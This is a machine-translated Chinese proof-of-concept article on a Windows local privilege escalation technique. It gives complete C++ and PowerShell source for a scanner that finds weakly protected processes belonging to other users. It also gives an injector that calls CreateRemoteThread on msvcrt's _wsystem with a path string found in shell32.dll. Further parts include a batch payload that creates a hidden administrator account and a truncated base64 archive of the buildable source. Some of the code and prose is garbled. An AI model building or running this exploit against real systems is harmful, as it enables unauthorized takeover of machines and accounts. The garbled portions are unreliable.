1. 介绍
当前工具旨在检测安全性差的进程,并仅使用OpenProcess[3]和CreateRemoteThread[1]注入它们,而不读取或写入目标进程内存。它有时碰巧有特权进程生成与进程创建线程和进程查询有限的信息流可供任何经过身份验证的用户访问。我们将无法操作目标进程的环境变量、桌面会话或内存。
本文解释了两个工具(scanprocess/injector)的内部结构,这两个工具是本文所介绍的POC攻击。
在本文中,我们将考虑在不同会话中的另一个Windows用户的上下文中,没有任何读/写访问权限的进程,只有最后两个flag。使用的操作系统是windows10新安装的。令人惊讶的是,这种流程的正确性在企业设备中相当常见。我多次成功地运用这项技术将自己提升到本地系统。
用例:
- Unusual, hopefully hard to detect way to inject process(异常,希望很难发现诸如过程的方式)
- Local privilege escalation on poorly secured systems(安全性较差的系统上的本地提权升级)
2.发现脆弱的过程
检查权限的最简单方法是使用open process[3]打开具有每个访问权限的进程。这将在“processright”列表上循环,并显示当前用户不拥有的任何进程可以访问或不可以访问的内容。像powerspoit[2]这样的许多工具还没有检查进程的权限。
std::vector <DWORD > processrights = {
DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER ,
PROCESS_ALL_ACCESS , PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD ,
PROCESS_DUP_HANDLE , PROCESS_QUERY_INFORMATION ,
PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION ,
PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME , PROCESS_TERMINATE ,
PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE ,
ACCESS_SYSTEM_SECURITY
};
int main(void)
{
for(auto const& pid: GetProcesses()) {
if(!IsCurrentUserProcess(pid)) {
for(auto const& right: processrights) {
HANDLE phendle = OpenProcess(right , FALSE , pid);
if(phendle != NULL) {
std::wcout << L"Process: " << GetProcessName(pid) << L"("
<<
pid << L") " << GetProcessSid(pid) << L" " <<
processrightsdescription[right] << std::endl;
CloseHandle(phendle);
}
}
}
}
return 0;
}
获取流程权限pid
powershell版本:
$MethodDefinition = @’
[ DllImport (" kernel32 .dll", CharSet = CharSet . Auto )]
public static extern IntPtr OpenProcess (
uint dwDesiredAccess ,
bool bInheritHandle ,
uint dwProcessId
);
[ DllImport (" kernel32 .dll ")]
public static extern bool CloseHandle (
IntPtr hObject );
’@
$Kernel32 = Add-Type - MemberDefinition $MethodDefinition - Name ’Kernel32 ’ -
Namespace ’Win32 ’ - PassThru
$rightList = @{
PROCESS_TERMINATE = (1);
PROCESS_CREATE_THREAD = (2);
PROCESS_VM_OPERATION = (8) ;
PROCESS_VM_READ = (16) ;
PROCESS_VM_WRITE = (32) ;
PROCESS_DUP_HANDLE = (64) ;
PROCESS_CREATE_PROCESS = (128) ;
PROCESS_SET_QUOTA = (256) ;
PROCESS_SET_INFORMATION = (512) ;
PROCESS_QUERY_INFORMATION = (1024) ;
PROCESS_SUSPEND_RESUME = (2048) ;
PROCESS_QUERY_LIMITED_INFORMATION = (4096) ;
PROCESS_SET_LIMITED_INFORMATION = (8192) ;
PROCESS_ALL_ACCESS = 4095;
DELETE = (65536) ;
READ_CONTROL = (131072) ;
WRITE_DAC = (262144) ;
WRITE_OWNER = (524288) ;
SYNCHRONIZE = (1048576) ;
STANDARD_RIGHTS_REQUIRED = (983040) ;
STANDARD_RIGHTS_ALL = (2031616) ;
SPECIFIC_RIGHTS_ALL = (65535) ;
ACCESS_SYSTEM_SECURITY = (16777216) ;
}
$procList = Get-CimInstance Win32_Process
foreach ( $proc in $procList ) {
$procProperties = Invoke-CimMethod - InputObject $proc - MethodName GetOwner
- ErrorAction SilentlyContinue
if ( $Null -ne $procProperties ) {
if ( $procProperties . User -ne $env : UserName ) {
foreach ( $right in $rightList . Keys ) {
$phandle = $Kernel32 :: OpenProcess ( $rightList [ $right ], $FALSE ,
$proc . ProcessId );
if ( $phandle -ne [ IntPtr ]:: Zero ) {
$output = " Process : "+ $proc . ProcessName +" ("+ $proc .
ProcessId +") "+ $right
Write-Output $output
$Kernel32 :: CloseHandle ( $phandle ) | Out-Null
}
}
}
}
}
获取流程权限(pid)
scanprocess.cpp的完整代码包含在附录中。为了能够被利用,这个过程需要在
至少具有以下权利:
- PROCESS CREATE THREAD(进程创建线程)
- PROCESS CREATE PROCESS; (进程创建进程)
- PROCESS QUERY LIMITED INFORMATION(进程查询受限信息)
我们正在考虑下面的例子。您可以使用processhacker[4]进行复制以进行测试:
3.注入受害者信息
3.1开发概况
经典的VirtualAllocEx[6]、WriteProcessMemory[5]、CreateRemotethread[1]方法不能用于无法读取/写入进程内存。我们将尝试找到一个已经运行任意代码的地址,不写任何外壳代码,也不知道内存地址空间。最简单的方法执行我们的有效载荷是:
system("path_to_stript");
执行任意命令
我们需要找到2个地址:
- 指向我们可以在Windows上访问的位置的字符串;
- 我们的系统调用(msvcrt.dll:wsystem似乎可以很好地执行命令)。
然后,我们需要2的组合以使用字符串作为参数创建指向wsystem的线程。尽管在ASLR中,地址在两个进程之间有很高的概率(接近100%)相同或者不同的用户会话。
攻击模式视图
3.2 定位调用
这是一个简单的部分,注入器将在它自己的内存空间中查找函数的地址,示例代码非常直接:
void * StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), "
_wsystem ");
找到函数地址
3.3 定位字符串
通常的W/X路径(C:UsersDefault、%temp%、%appdata%),…)将不相关,因为它们不存在于
目标进程。默认情况下,具有子文件夹创建权限的经过身份验证的用户可以访问路径C:。
创建子文件
在Windows系统上,如果您位于同一磁盘上的任何位置,将直接访问路径C:。这个下面的regex将在我们想要的任何DLL中找到一个有趣的路径。在PE中经常加载DLL“shell32.DLL”,文件并包含有趣的字符串:
如果未在目标进程中加载DLL,则可以通过运行LoadlibraryEx强制他加载DLL。在远程进程上。
strings -eb shell32.dll | grep -P "(\\[a-zA-Z0 -9]{3,20}){2}^"
查找有趣字符串
inject.cpp中已经提供了潜在路径的列表。该程序将搜索可利用的字符串通过搜寻其自己的模块并搜索给定的字符串。以下代码完成工作:
wchar_t * egghunting ( wchar_t * modulename , wchar_t * string )
{
BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename );
size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
ntheaderoffset );
#else
IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
ntheaderoffset );
#endif
for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) {
#ifdef __x86_64__
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
* i);
#else
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
* i);
#endif
for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) {
if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0)
{
return ( wchar_t *)& moduleaddress [i];
19 }
20 }
21 }
22 return NULL ;
23 }
针对扫描程序先前发现的进程的注入程序将返回可利用的字符串:
执行payload
注入停止,现在是在给定路径中复制有效负载的时候了。最简单的利用方法是,具有bat文件的特权用户:
net user /add adminuser adminuserpassword
net localgroup administrators adminuser /add
复制内容到createadminuser.bat 里面。
4.源代码生成
包括Dockerfile在内的完整源文件附在附录中,为了构建扫描仪和注入器,只需运行编译injector.sh。根据目标进程的版本,工具有32位和64位版本。
5.结论
最新安装版本的Windows 10允许经过身份验证的用户在C:中创建一个文件夹,ASLR选择在分区之间的库地址相同,直到下次重新启动。这两种可能性的结合允许,攻击者将远程进程注入受保护的不良的进程。这也有助于利用BOF。
参考链接
- https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
- https://github.com/PowerShellMafia/PowerSploit
- https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
- https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
- https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
附录:
A:scanProcesses.cpp
# include <windows .h>
# include <psapi .h>
# include <sddl .h>
# include <tlhelp32 .h>
# include <wbemidl .h>
# include <vector >
# include <iostream >
# include <map >
std :: map <DWORD , std :: wstring > processrightsdescription = {
{DELETE , L" DELETE "}, { READ_CONTROL , L" READ_CONTROL "}, { WRITE_DAC , L"
WRITE_DAC "}, { WRITE_OWNER , L" WRITE_OWNER "},
{PROCESS_ALL_ACCESS , L" PROCESS_ALL_ACCESS "}, { PROCESS_CREATE_PROCESS , L"
PROCESS_CREATE_PROCESS "},
{PROCESS_CREATE_THREAD , L" PROCESS_CREATE_THREAD "}, { PROCESS_DUP_HANDLE , L"
PROCESS_DUP_HANDLE "},
{PROCESS_QUERY_INFORMATION , L" PROCESS_QUERY_INFORMATION "}, {
PROCESS_QUERY_LIMITED_INFORMATION , L" PROCESS_QUERY_LIMITED_INFORMATION "
},
{PROCESS_SET_INFORMATION , L" PROCESS_SET_INFORMATION "}, { PROCESS_SET_QUOTA ,
L"PROCESS_SET_QUOTA "},
{PROCESS_SUSPEND_RESUME , L" PROCESS_SUSPEND_RESUME "}, { PROCESS_TERMINATE , L"
PROCESS_TERMINATE "},
{PROCESS_VM_OPERATION , L" PROCESS_VM_OPERATION "}, { PROCESS_VM_READ , L"
PROCESS_VM_READ "},
{PROCESS_VM_WRITE , L" PROCESS_VM_WRITE "}, { SYNCHRONIZE , L" SYNCHRONIZE "}, {
ACCESS_SYSTEM_SECURITY , L" ACCESS_SYSTEM_SECURITY "}
};
std :: vector <DWORD > processrights = {
DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER ,
PROCESS_ALL_ACCESS ,
PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD , PROCESS_DUP_HANDLE ,
PROCESS_QUERY_INFORMATION ,
PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION ,
PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME ,
PROCESS_TERMINATE , PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE ,
ACCESS_SYSTEM_SECURITY
};
std :: vector <DWORD > GetProcesses ( void )
{
IWbemLocator * pLoc = NULL ;
IWbemServices * pSvc = NULL ;
std :: vector <DWORD > retval ;
if( CoInitializeEx (0, COINIT_MULTITHREADED ) != S_OK ) {
std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
return retval ;
}
if( CoInitializeSecurity (NULL , -1, NULL , NULL , RPC_C_AUTHN_LEVEL_DEFAULT ,
RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE , NULL ) != S_OK ) {
std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
return retval ;
}
if( CoCreateInstance ( CLSID_WbemLocator , 0, CLSCTX_INPROC_SERVER ,
IID_IWbemLocator , ( LPVOID *) & pLoc ) != S_OK ) {
std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
return retval ;
}
if(pLoc -> ConnectServer ( BSTR (L" ROOT \ CIMV2 "), NULL , NULL , 0, 0, 0, 0, & pSvc )
!= S_OK ) {
std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
return retval ;
}
if( CoSetProxyBlanket (pSvc , RPC_C_AUTHN_WINNT , RPC_C_AUTHZ_NONE , NULL ,
RPC_C_AUTHN_LEVEL_CALL , RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE ) !=
S_OK ) {
std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ;
return retval ;
}
std :: wstring querystring (L" select Handle from win32_Process ");
IEnumWbemClassObject * pEnumerator = NULL ;
if( pSvc == NULL ) {
std :: wcout << L" Parsing process error opening blanket : " <<
GetLastError () << std :: endl ;
return retval ;
}
pSvc -> ExecQuery ( BSTR (L"WQL "), BSTR ( querystring . c_str ()),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY , NULL , &
pEnumerator );
IWbemClassObject * pclsObj = NULL ;
ULONG uReturn = 0;
while ( pEnumerator ) {
pEnumerator -> Next ( WBEM_INFINITE , 1, & pclsObj , & uReturn );
if (0 == uReturn )
break ;
VARIANT vtProp ;
pclsObj ->Get(L" Handle ", 0, &vtProp , 0, 0);
DWORD currentpid = std :: stoi ( vtProp . bstrVal );
if( currentpid != GetCurrentProcessId ()) {
retval . push_back ( currentpid );
}
VariantClear (& vtProp );
pclsObj -> Release ();
}
if( pEnumerator != NULL )
pEnumerator -> Release ();
return retval ;
}
std :: wstring GetProcessSid ( DWORD PID)
{
std :: wstring retval (L"");
HANDLE processhandle = OpenProcess ( PROCESS_QUERY_INFORMATION , FALSE , PID );
if( processhandle == NULL )
return retval ;
HANDLE tokenhandle = NULL ;
OpenProcessToken ( processhandle , TOKEN_QUERY , & tokenhandle );
if( processhandle == NULL ) {
CloseHandle ( processhandle );
return retval ;
}
DWORD size = 0;
GetTokenInformation ( tokenhandle , TokenGroups , NULL , size , & size );
PTOKEN_USER ptu = ( PTOKEN_USER ) HeapAlloc ( GetProcessHeap () , HEAP_ZERO_MEMORY
, size );
if (! GetTokenInformation ( tokenhandle , TokenUser , ptu , size , & size )) {
CloseHandle ( processhandle );
CloseHandle ( tokenhandle );
return retval ;
}
wchar_t *SID ;
if (! ConvertSidToStringSidW (ptu -> User .Sid , &SID )) {
std :: wcout << GetLastError () << L" " << std :: endl ;
CloseHandle ( processhandle );
CloseHandle ( tokenhandle );
return retval ;
}
retval += SID ;
LocalFree (SID);
CloseHandle ( tokenhandle );
CloseHandle ( processhandle );
return retval ;
}
bool IsCurrentUserProcess ( DWORD PID )
{
std :: wstring currsid = GetProcessSid ( GetCurrentProcessId ());
std :: wstring sid = GetProcessSid (PID);
if( currsid . compare (sid ) == 0)
return true ;
return false ;
}
std :: wstring GetProcessName ( DWORD PID)
{
PROCESSENTRY32W processInfo ;
processInfo . dwSize = sizeof ( processInfo );
HANDLE processesSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0);
if ( processesSnapshot == INVALID_HANDLE_VALUE )
return std :: wstring (L"");
for ( BOOL bok= Process32FirstW ( processesSnapshot , & processInfo );bok; bok =
Process32NextW ( processesSnapshot , & processInfo )) {
if( PID == processInfo . th32ProcessID ) {
CloseHandle ( processesSnapshot );
return std :: wstring ( processInfo . szExeFile );
}
}
CloseHandle ( processesSnapshot );
return std :: wstring (L"");
}
int main ( void )
{
for ( auto const & pid: GetProcesses ()) {
std :: cout << " Scanning : " << pid << std :: endl ;
if (! IsCurrentUserProcess (pid )) {
for ( auto const & right : processrights ) {
HANDLE phendle = OpenProcess (right , FALSE , pid );
if( phendle != NULL ) {
std :: wcout << L" Process : " << GetProcessName (pid) << L"("
<< pid << L") " << GetProcessSid (pid ) << L" " <<
CloseHandle ( phendle );
}
}
}
}
std :: cout << " done " << std :: endl ;
return 0;
}
B:inject.cpp
#include <windows .h>
#include <psapi .h>
#include <stdio .h>
#include <vector >
//match a path :
//strings -eb shell32 .dll | grep -P "(\\[a-zA -Z0 -9]{3 ,20}) {2}^"
wchar_t * pathlist [] = {
(wchar_t *)L"\ Explorer \ SmallIcons ",
(wchar_t *)L"\ Tcpip \ Parameters ",
(wchar_t *)L"\ VarFileInfo \ Translation ",
(wchar_t *)L"\ ComputerName \ ComputerName ",
(wchar_t *)L"\ Control \ WinInit ",
(wchar_t *)L"\ AppCompatFlags \ InstalledSDB ",
(wchar_t *)L"\ Machine \ Software ",
(wchar_t *)L"\ Device \ CdRom "
};
/* char * egghunting ( char * modulename , char * string ) // ascii version
{
BYTE * moduleaddress = ( BYTE *) LoadLibraryA ( modulename );
size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
ntheaderoffset );
#else
IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
ntheaderoffset );
#endif
for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i ++) {
#ifdef __x86_64__
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
* i);
#else
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
* i);
#endif
for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
VirtualSize ; i ++) {
if( stricmp ( string , ( char *)& moduleaddress [i]) == 0) {
return ( char *)& moduleaddress [i];
}
}
}
return NULL ;
}*/
wchar_t * egghunting ( wchar_t * modulename , wchar_t * string )
{
BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename );
size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ;
#ifdef __x86_64__
IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress +
ntheaderoffset );
#else
IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress +
ntheaderoffset );
#endif
for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) {
#ifdef __x86_64__
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 )
* i);
#else
PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )(
moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 )
* i);
#endif
for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc .
VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) {
if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0)
{
return ( wchar_t *)& moduleaddress [i];
}
}
}
return NULL ;
}
int main (int argc , char ** argv , char ** envp )
{
void * arg1 = NULL ;
DWORD ThreadId ;
void * StartAddress ;
BOOL arch ;
if( argc != 2) {
printf (" bad usage n");
return 1;
}
#ifdef __x86_64__
printf (" Starting x86_64 mode n");
#else
printf (" Starting i386 mode n");
#endif
HANDLE remoteprocess = OpenProcess ( PROCESS_CREATE_THREAD |
PROCESS_QUERY_LIMITED_INFORMATION , FALSE , atoi ( argv [1]) );
if( remoteprocess == NULL ) {
printf (" Failed to open process : %s (% lu)n", argv [1] ,
GetLastError ());
return 1;
}
IsWow64Process ( remoteprocess , & arch );
#ifdef __x86_64__
if( arch ) {
printf (" Target is 32 bits . Recompile men");
CloseHandle ( remoteprocess );
return 0;
}
#else
if (! arch ) {
printf (" Target is 64 bits . Recompile men");
CloseHandle ( remoteprocess );
return 0;
}
#endif
//Find interresting sting && execute
wchar_t dllname [] = L" shell32 . dll ";
wchar_t * path ;
for ( size_t i=0; i< sizeof ( pathlist )/ sizeof ( wchar_t *); i++) {
path = pathlist [i];
arg1 = ( void *) egghunting ( dllname , path );
if( arg1 != NULL ) break ;
wprintf (L" string "% ls " not found in: "% ls " n", path ,
dllname );
}
if( arg1 == NULL ) {
wprintf (L" Unable to locate path n");
CloseHandle ( remoteprocess );
return 1;
} else {
wprintf (L" found : %lsn", ( wchar_t *) arg1 );
}
StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), "
_wsystem ");
wprintf (L" Injection Ready ! Put your executable in %ls {. exe ,. com ,. bat ,.
scr ,...} , then press enter n", path );
getchar ();
if( CreateRemoteThread ( remoteprocess , NULL , 0, ( LPTHREAD_START_ROUTINE )
StartAddress , ( void *) arg1 , 0, & ThreadId ) == NULL ){
printf (" Failed to create remote thread : %lun", GetLastError ())
;
} else {
printf (" Done !n");
}
CloseHandle ( remoteprocess );
return 0;
}
C:Fullcode.zip.b64
你可以用docker自己编译。
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
